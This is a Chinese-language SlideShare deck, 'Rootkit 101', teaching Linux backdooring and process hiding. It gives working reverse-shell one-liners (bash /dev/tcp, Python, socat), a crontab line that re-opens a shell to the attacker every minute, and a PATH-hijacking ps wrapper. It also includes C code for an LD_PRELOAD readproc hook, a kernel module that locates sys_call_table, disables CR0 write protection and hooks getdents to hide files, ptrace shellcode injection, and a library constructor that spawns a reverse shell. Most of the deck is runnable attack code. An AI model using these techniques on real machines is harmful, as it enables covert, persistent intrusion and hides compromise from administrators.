SlideShare a Scribd company logo
ROOTKIT 101
oalieno
種後⾨門
名詞定義
攻擊者機器 簡稱 公雞
受害者機器 簡稱 瘦雞
remote shell
•瘦雞 ← 公雞
•接受連線後開⼀一個 shell 並把 IO stream 導到 TCP socket
•缺點 : 可能會被防火牆擋掉、受害者躲在內網連不到
socat TCP-LISTEN:9999 EXEC:/bin/bash
socat TCP:192.168.100.1:9999 -
reverse shell
•瘦雞 → 公雞
•同樣開⼀一個 shell 並把 IO stream 導到 TCP socket
socat TCP:192.168.100.2:9999 EXEC:/bin/bash
socat TCP-LISTEN:9999 -
reverse shell
•這邊解釋⽅方便便⽤用 socat 當例例⼦子,實際上 瘦雞 通常不會裝 socat
•可以⽤用 bash, python, ... 瘦雞 有裝什什麼就⽤用什什麼
bash -i >& /dev/tcp/192.168.100.2/9999 0>&1
python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_I
NET,socket.SOCK_STREAM);s.connect(("10.0.0.1",
1234));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),
2);p=subprocess.call(["/bin/sh","-i"]);'
crontab
•reverse shell 斷掉就沒了了,我們想要維持對 瘦雞 存取
•crontab 可以做⼯工作排程,定期執⾏行行⼯工作
•有 root 權限可以把排程寫到 /etc/cron.d, /etc/cron.hourly, ...
# reverse shell every minute
echo '*/1 * * * * bash -c "bash -i &> /dev/tcp/192.168.100.2/9999 0>&1"' | crontab
設定 user 的排程
crontab -l
查看 user 的排程
其他⽅方法
•也可以直接把⾃自⼰己的 key 加到 .ssh/authorized_keys 裡⾯面
•或是在他的網⾴頁伺服器裡⾯面插 webshell
ROOTKIT
什什麼是 rootkit
•rootkit 是⼀一種隱藏程序的技巧
•root + kit 意思就是拿到 root 權限後可以⽤用的⼯工具包
⽬目錄
•今天會介紹的 rootkit 技巧
• 基本⼩小技巧
• LD_PRELOAD
• Kernel Module
• Process Injection
• ⼤大部分會以隱藏 ps 指令列列出的程序為例例⼦子
基本⼩小技巧
基本⼩小技巧
•在 $PATH 環境變數中 /usr/local/bin 在 /bin 前⾯面
•寫⼀一個檔案在 /usr/local/bin/ps
•ps 就會執⾏行行 /usr/local/bin/ps ⽽而不是 /bin/ps
•grep -v 是 invert-match
#!/bin/bash
/bin/ps $@ | grep -Ev '192.168.100.2|socat'
LD_PRELOAD
LD_PRELOAD
•LD_PRELOAD 是⼀一個環境變量量,⽤用來來設定優先加載的動態函式庫
•把動態函式庫的路路徑寫在 /etc/ld.so.preload 也是⼀一樣的效果
ldd test
linux-vdso.so.1 (0x00007ffc6f5ea000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f8dd3b7e000)
/lib64/ld-linux-x86-64.so.2 (0x00007f8dd4171000)
LD_PRELOAD=./hook.so ldd test
linux-vdso.so.1 (0x00007ffc6f5ea000)
./hook.so (0x00007f0ae13f1000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f8dd3b7e000)
/lib64/ld-linux-x86-64.so.2 (0x00007f8dd4171000)
ltrace
•先看⼀一下 ps ⽤用到哪些 library function
•發現很多 readproc
ltrace ps
readproc
•⽤用 man 指令看⼀一下 readproc 是做什什麼的
•就是去讀 /proc 底下所有 process 的資訊
•去 hook 這個函式,我們可以把不想要出現的 process 丟掉
dlsym
•還是需要呼叫原本的 readproc
•⽤用 dlsym 這個函式去讀取⼀一個 symbol 的位址
•typeof 就只是⼀一個語法糖,在預編譯時期幫你填上型態
•RTLD_NEXT 是找下⼀一個 symbol ⽽而不是第⼀一個
typeof(readproc) *old_readproc = dlsym(RTLD_NEXT, "readproc");
流程
•整個流程會像下⾯面這樣
1. 呼叫原本的 readproc
2. 判斷這個 process 要不要隱藏
1. 要,再抓⼀一個 process 出來來看
2. 不要,就沒事
3. 回傳
POC
#define _GNU_SOURCE
#include <dlfcn.h>
#include <string.h>
#include <proc/readproc.h>
int hidden (char *target) {
char *keywords[2] = { “192.168.100.2", "socat" };
for (int i = 0; i < 2; i++) if (strstr(target, keywords[i])) return 1;
return 0;
}
proc_t* readproc (PROCTAB *PT, proc_t *return_buf) {
typeof(readproc) *old_readproc = dlsym(RTLD_NEXT, "readproc");
proc_t* ret_value = old_readproc(PT, return_buf);
while (ret_value
&& ret_value->cmdline
&& hidden(ret_value->cmdline[0])) {
ret_value = old_readproc(PT, return_buf);
}
return ret_value;
}
編譯
gcc -fPIC -shared -o hook.so hook.c -I./procps/
•需要下載正確版本的 procps 下來來
•procps v2 和 v3 的 proc_t, PROCTAB 結構有改
DEMO
https://asciinema.org/a/0M5KQUVkrY4Ha0gOOSS9pj97K
來來看看別⼈人寫的
https://github.com/naworkcaj/bdvl
•bedevil : 前⾝身是 vlany
•基於 LD_PRELOAD 的 linux rootkit
•直接 patch dynamic linker libraries 把 /etc/ld.so.preload
換成某個隱藏位址
Kernel Module
Kernel Module
•把程式放到 kernel 裡⾯面在 ring 0 下執⾏行行
•那就可以做很多事了了,比如劫持 syscall
架設環境
架設環境
1.編譯 kernel
2.打包⼀一個 initramfs
3.qemu-system-x86_64 跑起來來
4.gdb debug
編譯 kernel
1.去 www.kernel.org 載整包原始碼下來來
make menuconfig
make -j$(nproc)
initramfs
• initramfs 是⼀一個檔案系統
• bootloader 會把 initramfs 跟 kernel 放到記憶體上
• 然後把 kernel 跑起來來的時候會把 initramfs 的位址傳進去
• 之後 kernel 會去執⾏行行 initramfs/init 做⼀一些初始設定
• 最後才會把真正的檔案系統載入進來來
initramfs
• busybox 是許多常⾒見見⼯工具的組合包
• 接下來來我們會需要兩兩個檔案
• /initramfs/init
• /etc/passwd
mkdir --parents initramfs/{bin,dev,etc,lib,lib64,
mnt/root,proc,root,sbin,sys}
cp `which busybox` initramfs/bin/
/initramfs/init
• 做⼀一些必要的設定
• 最後 su root,所以會需要 /etc/passwd
#!/bin/busybox sh
/bin/busybox mkdir -p /usr/sbin /usr/bin /sbin /bin
/bin/busybox --install -s
mount -t proc none /proc
mount -t sysfs none /sys
ln -s /dev/console /dev/ttyS0
sleep 2
setsid cttyhack su root
poweroff -f
/etc/passwd
• 這樣 su 才不會說找不到 root 這個使⽤用者
root:x:0:0::/root:/bin/sh
initramfs
• 檔案系統建好之後就把他打包起來來
cd initramfs
find . -print0 | cpio --null --create --verbose 
--format=newc | gzip --best > ../initramfs.cpio.gz
qemu-system-x86_64
• ⽤用 qemu-system-x86_64 跑起來來
• 使⽤用我們⾃自⼰己編的 kernel ( 有 debug info )
• 使⽤用我們⾃自⼰己包的 initramfs
• 可以 -enable-kvm 提⾼高效能
#!/bin/bash
qemu-system-x86_64 -kernel ./linux-5.0.9/arch/x86_64/boot/bzImage 
-initrd ./initramfs.cpio.gz 
-nographic 
-append "console=ttyS0 nokaslr" 
-gdb tcp:127.0.0.1:7777
gdb
• qemu 會開⼀一個 gdb server 給我們連
• 設定 add-auto-load-safe-path /path/to/linux-5.3.7
• 就會載入 vmlinux-gdb.py 裡⾯面的輔助函式
$ gdb vmlinux
(gdb) target remote :7777
(gdb) apropos lx # 顯⽰示包含 lx 的指令 ( 從 vmlinux-gdb.py 載入的輔助函式 )
lx-cmdline -- Report the Linux Commandline used in the current kernel
lx-cpus -- List CPU status arrays
lx-dmesg -- Print Linux kernel log buffer
...
hook syscall
hook syscall
1. 找到 sys_call_table 的位址
2. 將 sys_call_table 變成可寫
3. 找出要換掉的 syscall 函式
4. 換掉
sys_call_table 位址
•在 2.4 以前的內核版本,預設導出所有符號,所以可以直接⽤用
•如果⾃自⼰己編譯內核的話,可以修改原始碼⽤用 EXPORT_SYMBOL 把
sys_call_table 的符號導出來來
extern void *sys_call_table[];
sys_call_table 位址
•kallsyms_lookup_name 也可以抓位址,但他也不⼀一定會被導出
#include <linux/kallsyms.h>
static void **sys_call_table;
static int __init hook_init (void) {
sys_call_table = (void **)kallsyms_lookup_name("sys_call_table");
printk(KERN_INFO "sys_call_table = 0x%pxn", sys_call_table);
return 0;
}
sys_call_table 位址
•下⾯面兩兩個檔案路路徑有可能會有 sys_call_table 的位址
•/proc/kallsyms 是⼀一個特殊的檔案,會在讀取時動態產⽣生
cat /boot/System.map-$(uname -r) | grep "sys_call_table"
cat /proc/kallsyms | grep "sys_call_table"
sys_call_table 位址
•最穩的⽅方式是⾃自⼰己去 kernel 裡⾯面的 memory 撈 O_O
•kernel 5.x.x 有多包了了⼀一層 do_syscall_64
•那在這之前要先講⼀一下 syscall 的機制
module specific register
• module specific register 是⼀一塊跟 CPU 有關的暫存器
• 每個 msr 都會有個 index
• ⽤用 rdmsr, wrmsr 可以對 msr 做讀寫,必須提供 index
• kernel ⼀一開始在初始化的時候,把 entry_SYSCALL_64 寫到 msr[MSR_LSTAR]
syscall
1. user call syscall
2. change to ring 0
3. jmp to msr[MSR_LSTAR] 等於 entry_SYSCALL_64
4. entry_SYSCALL_64 call do_syscall_64
5. regs->ax = sys_call_table[nr](regs);
sys_call_table 位址
•我們已經在 ring 0 了了
•直接⽤用 rdmsr 讀 msr[MSR_LSTAR]
•直接在 entry_SYSCALL_64 instructions 裡⾯面找
movq %rax, %rdi
movq %rsp, %rsi
call do_syscall_64
sys_call_table 位址
•找到 do_syscall_64 後
•⼀一樣畫葫蘆,再找下⾯面這個 instruction
•他之後會 call rax,所以這個值就會是 sys_call_table
mov rax, QWORD PTR [rdi*8-?]
sys_call_table 位址
uint8_t *get_syscalltable (void) {
int lo, hi;
asm volatile("rdmsr" : "=a" (lo), "=d" (hi) : "c" (MSR_LSTAR));
uint8_t *entry_SYSCALL_64 = (uint8_t *)(((uint64_t)hi << 32) | lo);
uint8_t *ptr;
uint8_t do_syscall_64_inst[7] = {
0x48, 0x89, 0xc7, // mov rdi, rax
0x48, 0x89, 0xe6, // mov rsi, rsp
0xe8, // call do_syscall_64
};
ptr = find(entry_SYSCALL_64, do_syscall_64_inst, 7);
uint8_t *do_syscall_64 = (uint8_t *)(ptr + 11 + ((uint64_t)0xffffffff00000000 | *(uint32_t *)(ptr + 7)));
uint8_t sys_call_table_inst[4] = {
0x48, 0x8b, 0x04, 0xfd // mov rax, QWORD PTR [rdi*8-?]
};
ptr = find(do_syscall_64, sys_call_table_inst, 4);
uint8_t *sys_call_table = (uint8_t *)((uint64_t)0xffffffff00000000 | *(uint32_t *)(ptr + 4));
return sys_call_table;
}
sys_call_table 變可寫
•cr0 register 的其中⼀一個 bit 是代表 read-only 區段可不可寫
•改成 0 就通通可寫啦
A control register is a processor register which changes or controls the
general behavior of a CPU or other digital device
- wikipedia
sys_call_table 變可寫
void writable_unlock (void) {
unsigned long val = read_cr0() & (~X86_CR0_WP);
asm volatile("mov %0,%%cr0": "+r" (val));
}
void writable_lock (void) {
unsigned long val = read_cr0() | X86_CR0_WP;
asm volatile("mov %0,%%cr0": "+r" (val));
}
•write_cr0 這個 function 在 kernel 5.x.x 版加了了檢查
•不過我們直接寫 assembly 就好啦
要 hook 哪個 syscall
•ps 做的事情就是去讀 /proc 底下所有檔案,基本上是 ls 的強化版,
那我們就先做 ls 隱藏檔案
•⼀一樣⽤用 strace ls 去看他呼叫了了哪些 syscall
•可以 hook getdents,在讀⽬目錄底下的檔案的時候就把不想要的丟掉
getdents
getdents
•getdents 跑完 dirp 會是⼀一個 linux_dirent 陣列列
•d_off 是指這是第幾個 linux_dirent
•d_reclen 是這個 linux_dirent 的長度,可以⽤用它來來找下⼀一個
linux_dirent
getdents hook
•kernel 5.x.x 多包了了⼀一層 do_syscall_64
•所以參參數傳遞變成是傳 struct pt_regs *regs
•kernel 4.x.x 是放在 stack 傳的
getdents hook
#define FILENAME "rootkit.ko"
int sys_getdents_hook(struct pt_regs *regs) {
int total = original_getdents(regs);
unsigned int fd = regs->di;
struct linux_dirent *dirent = regs->si;
unsigned int count = regs->dx;
int offset = 0;
while (offset < total) {
struct linux_dirent *ptr = (struct linux_dirent *)((uint8_t *)dirent + offset);
struct linux_dirent *next_ptr = (struct linux_dirent *)((uint8_t *)dirent + offset + ptr->d_reclen);
if (strncmp(ptr->d_name, FILENAME, strlen(FILENAME)) == 0) {
int reclen = ptr->d_reclen;
memmove(ptr, next_ptr, total - (offset + reclen));
total -= reclen;
} else {
offset += ptr->d_reclen;
}
}
return total;
}
DEMO
https://asciinema.org/a/nySYMlkNUoKXyGZidEFOsN1PV
Process Injection
ptrace
•ptrace 可以允許⼀一個 process 監控另⼀一個 process 的執⾏行行
•gdb 就是⽤用 ptrace syscall 來來 debug process 的
要 inject 哪個 process
•⽤用 ps 看⼀一下有什什麼 process
•chronyd : 是 ntpd 的替代品,⽤用來來校時的
•lvmetad : LVM metadata cache daemon,某種快取服務
•看起來來都可有可無,⽽而且使⽤用者不敢隨便便砍掉
ptrace
1. ptrace attach
2. ptrace getregs 拿 rip 的值
3. ptrace poketext 直接把 shellcode 放到 rip 指向的位址
4. ptrace detach
ptrace
#include <stdio.h>
#include <stdlib.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/user.h>
int main (int argc, char **argv) {
if (argc != 2) {
printf("Usage: %s <pid>n", argv[0]);
exit(0);
}
struct user_regs_struct regs;
pid_t pid = atoi(argv[1]);
ptrace(PTRACE_ATTACH, pid, NULL, NULL);
wait(NULL);
ptrace(PTRACE_GETREGS, pid, NULL, &regs);
/* exit */
char shellcode[] = "x31xffx6ax3cx58x0fx05x90";
for (int i = 0; i < 48 / 4; i++) {
unsigned long *ptr = (unsigned long *)regs.rip;
ptrace(PTRACE_POKETEXT, pid, ptr + i, *((unsigned long *)shellcode + i));
}
ptrace(PTRACE_DETACH, pid, NULL, NULL);
return 0;
}
linux-injectionhttps://github.com/gaffe23/linux-inject
•來來看看別⼈人怎麼寫的
•parse /proc/xxx/maps 去找⼀一段可執⾏行行的區段
•⽤用 ptrace 把⼀一段 shellcode 放上去
•malloc ⼀一段記憶體放 share library 的檔名
•⽤用 __libc_dlopen_mode 載入 share library
•free 記憶體
•share library 載入的時候就會呼叫 loadMsg
void hello() {
printf("I just got loadedn");
}
__attribute__((constructor)) void loadMsg() {
hello();
}
linux-injectionhttps://github.com/gaffe23/linux-inject
__attribute__((constructor)) void onload() {
int pid = fork();
if (pid == 0) {
const char* ip = "127.0.0.1";
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(9999);
inet_aton(ip, &addr.sin_addr);
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
connect(sockfd, (struct sockaddr *)&addr, sizeof(addr));
for (int i = 0; i < 3; i++) {
dup2(sockfd, i);
}
execve("/bin/sh", NULL, NULL);
}
wait(NULL);
exit(0);
}
•寫個 reverse shell
demohttps://asciinema.org/a/YQxLngyWK8fhzDgg72gNyftvZ

More Related Content

PDF
Rootkit 101
PDF
unixtoolbox_zh_CN
PPTX
Shell,信号量以及java进程的退出
PDF
利用Cent Os快速构建自己的发行版
PDF
OpenWRT Case Study
PDF
Bypat博客出品-利用cent os快速构建自己的发行版
PDF
調試器原理與架構
PDF
Lamp安全全攻略
Rootkit 101
unixtoolbox_zh_CN
Shell,信号量以及java进程的退出
利用Cent Os快速构建自己的发行版
OpenWRT Case Study
Bypat博客出品-利用cent os快速构建自己的发行版
調試器原理與架構
Lamp安全全攻略

What's hot (20)

PDF
cmd injection
PPT
Mysql展示功能与源码对应
PPT
Effective linux.2.(tools)
PDF
icecream / icecc:分散式編譯系統簡介
PDF
Redis 存储分片之代理服务twemproxy 测试
PDF
Ipaq with linux
PDF
Unixtoolbox zh cn
PPT
Effective linux.1.(commandline)
PDF
COSCUP 2014 : open source compiler 戰國時代的軍備競賽
PDF
再生龍於雲端環境之應用
PPTX
20121111 linux intro
PDF
Showinnodbstatus公开
PDF
Aisanux安装光盘分析
DOC
尚观Linux研究室 linux驱动程序全解析
PDF
Strace debug
PDF
Apache安装配置mod security
DOC
Linux安全配置终极指南
ODP
The New Process No. 1 of Linux -- SystemD
PPT
20030623 linuxbasic and-security
cmd injection
Mysql展示功能与源码对应
Effective linux.2.(tools)
icecream / icecc:分散式編譯系統簡介
Redis 存储分片之代理服务twemproxy 测试
Ipaq with linux
Unixtoolbox zh cn
Effective linux.1.(commandline)
COSCUP 2014 : open source compiler 戰國時代的軍備競賽
再生龍於雲端環境之應用
20121111 linux intro
Showinnodbstatus公开
Aisanux安装光盘分析
尚观Linux研究室 linux驱动程序全解析
Strace debug
Apache安装配置mod security
Linux安全配置终极指南
The New Process No. 1 of Linux -- SystemD
20030623 linuxbasic and-security
Ad

Similar to Rootkit 101 (20)

PDF
Linux基础
PPTX
揭秘家用路由器Ch10 sharing
PDF
探索 ISTIO 新型 DATA PLANE 架構 AMBIENT MESH - GOLANG TAIWAN GATHERING #77 X CNTUG
DOC
X64服务器 lamp服务器部署标准 new
PPTX
为啥别读HotSpot VM的源码(2012-03-03)
PPTX
Track2 -刘继伟--openstack in gamewave
PPTX
5, system admin
PDF
Install Oracle11g For Aix 5 L
PPTX
1, shell intro
PDF
unix toolbox 中文版
PDF
Proxmox: 建立自己的虛擬主機
PDF
Java线上应用问题排查方法和工具(空望)
DOC
康盛创想项目部Linux 服务器部署标准(最新版)
PPTX
Docker進階探討
PDF
Open Street Map安裝指引 (Ubuntu 12.04)
PPTX
Docker一期培训
XLS
Puppet安装总结
PPT
Aix操作系统培训文档
PDF
Linux binary Exploitation - Basic knowledge
KEY
Linuxguide4f2e
Linux基础
揭秘家用路由器Ch10 sharing
探索 ISTIO 新型 DATA PLANE 架構 AMBIENT MESH - GOLANG TAIWAN GATHERING #77 X CNTUG
X64服务器 lamp服务器部署标准 new
为啥别读HotSpot VM的源码(2012-03-03)
Track2 -刘继伟--openstack in gamewave
5, system admin
Install Oracle11g For Aix 5 L
1, shell intro
unix toolbox 中文版
Proxmox: 建立自己的虛擬主機
Java线上应用问题排查方法和工具(空望)
康盛创想项目部Linux 服务器部署标准(最新版)
Docker進階探討
Open Street Map安裝指引 (Ubuntu 12.04)
Docker一期培训
Puppet安装总结
Aix操作系统培训文档
Linux binary Exploitation - Basic knowledge
Linuxguide4f2e
Ad

More from WEI CHIEH CHAO (7)

PDF
[Crypto Course] LFSR
PDF
[Crypto Course] Hash
PDF
[Crypto Course] Block Cipher Mode
PDF
[Crypto Course] Bleichenbacher RSA Signature Forgery
PDF
[Crypto Course] RSA
PDF
[Crypto Course] Blockchain Security
PPTX
滲透測試基本技巧與經驗分享
[Crypto Course] LFSR
[Crypto Course] Hash
[Crypto Course] Block Cipher Mode
[Crypto Course] Bleichenbacher RSA Signature Forgery
[Crypto Course] RSA
[Crypto Course] Blockchain Security
滲透測試基本技巧與經驗分享

Rootkit 101